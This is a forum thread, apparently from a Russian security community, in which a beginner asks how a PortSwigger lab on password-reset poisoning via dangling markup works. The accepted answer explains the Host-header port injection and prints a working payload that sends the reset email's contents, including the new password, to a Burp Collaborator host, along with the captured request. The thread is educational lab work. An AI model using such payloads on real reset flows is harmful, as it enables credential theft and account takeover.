• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

Как работает "отравление" при сбросе пароля через висящую разметку?

banifucy

New member
26.08.2021
1
0
BIT
0
Здравствуйте! Возникла проблема с пониманием решения с сайта portswigger. Вместо порта мы вставляем html код (который мне не очень понятен), отправляем запрос и сразу же в логи мы получаем get запрос с содержимым письма. Пожалуйста объясните как это сработало, желательно простым языком, т.к. я лишь недавно начал заниматься веб-безопасностью.
 
Решение
Ты зря начал с этой темы, надо было начинать с xss и html injection, потом подробней ознакомится с висящей разметкой и как ее едят.

Что по сабжу, то если коротко, то висящая разметка, это когда у тебя есть незакрытый аттрибут тега, то весь дальнейший код страницы будет интерпретироваться этим браузером как этот незакрытый аттрибут. Конкретно в данной ситуации, такие штуки фильтруются библиотекой DOMPurify (судя по описанию), но если перейти на view raw то код никак не фильтруется. Соответственно, есть уязвимость заголовка Host, в котором вместо порта мы можем указывать любие нечисловые значения и из этого хоста будет генерироваться ссылка, тоесть отображаться в нашем html во view raw.
Код:
<p>Hello!</p>
<p>Please <a...

Khadjit_anonymous

Well-known member
26.04.2021
45
58
BIT
0
Ты зря начал с этой темы, надо было начинать с xss и html injection, потом подробней ознакомится с висящей разметкой и как ее едят.

Что по сабжу, то если коротко, то висящая разметка, это когда у тебя есть незакрытый аттрибут тега, то весь дальнейший код страницы будет интерпретироваться этим браузером как этот незакрытый аттрибут. Конкретно в данной ситуации, такие штуки фильтруются библиотекой DOMPurify (судя по описанию), но если перейти на view raw то код никак не фильтруется. Соответственно, есть уязвимость заголовка Host, в котором вместо порта мы можем указывать любие нечисловые значения и из этого хоста будет генерироваться ссылка, тоесть отображаться в нашем html во view raw.
Код:
<p>Hello!</p>
<p>Please <a href='https://ac841f1d1e69d3008026296a001a00b3.web-security-academy.net:test/login'>click here</a> to login with your new password: pIiQ4fFThy</p>
<p>Thanks,<br/>Support team</p><i>This email has been scanned by the MacCarthy Email Security service</i>
Обрати внимание, что в href вместо порта я указал 'test'. Теперь, если вместо 'test' мы отправим одинарную кавычку, мы закроем аттрибут, и сможем дальше вставить свой тег <a href="http://твой_сервер/? . Так как аттрибут href не закрыт, то в ссылку попадет оставшийся код страницы, который передастся get запросом когда человек перейдет по ссылке. А так как пароль содержится в коде страницы, то его мы тоже получим.

Вот такой вид будет иметь готовый пэйлоад;
Код:
<p>Hello!</p>
<p>Please <a href='https://ac841f1d1e69d3008026296a001a00b3.web-security-academy.net:'<a href="https://uzxjud8gp1bjde90drsse4147vdl1a.burpcollaborator.net/?/login'>click here</a> to login with your new password: P5cmwW7xON</p><p>Thanks,<br/>Support team</p><i>This email has been scanned by the MacCarthy Email Security service</i>

А вот то что мне пришло на burp collaborator (пароли разные так как этот запрос уже с компьютера жертвы):
Код:
GET /?/login'>click+here</a>+to+login+with+your+new+password:+Bg31Tvgrza</p><p>Thanks,<br/>Support+team</p><i>This+email+has+been+scanned+by+the+MacCarthy+Email+Security+service</i> HTTP/1.1
Host: uzxjud8gp1bjde90drsse4147vdl1a.burpcollaborator.net
Accept-Encoding: gzip
 
Решение
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!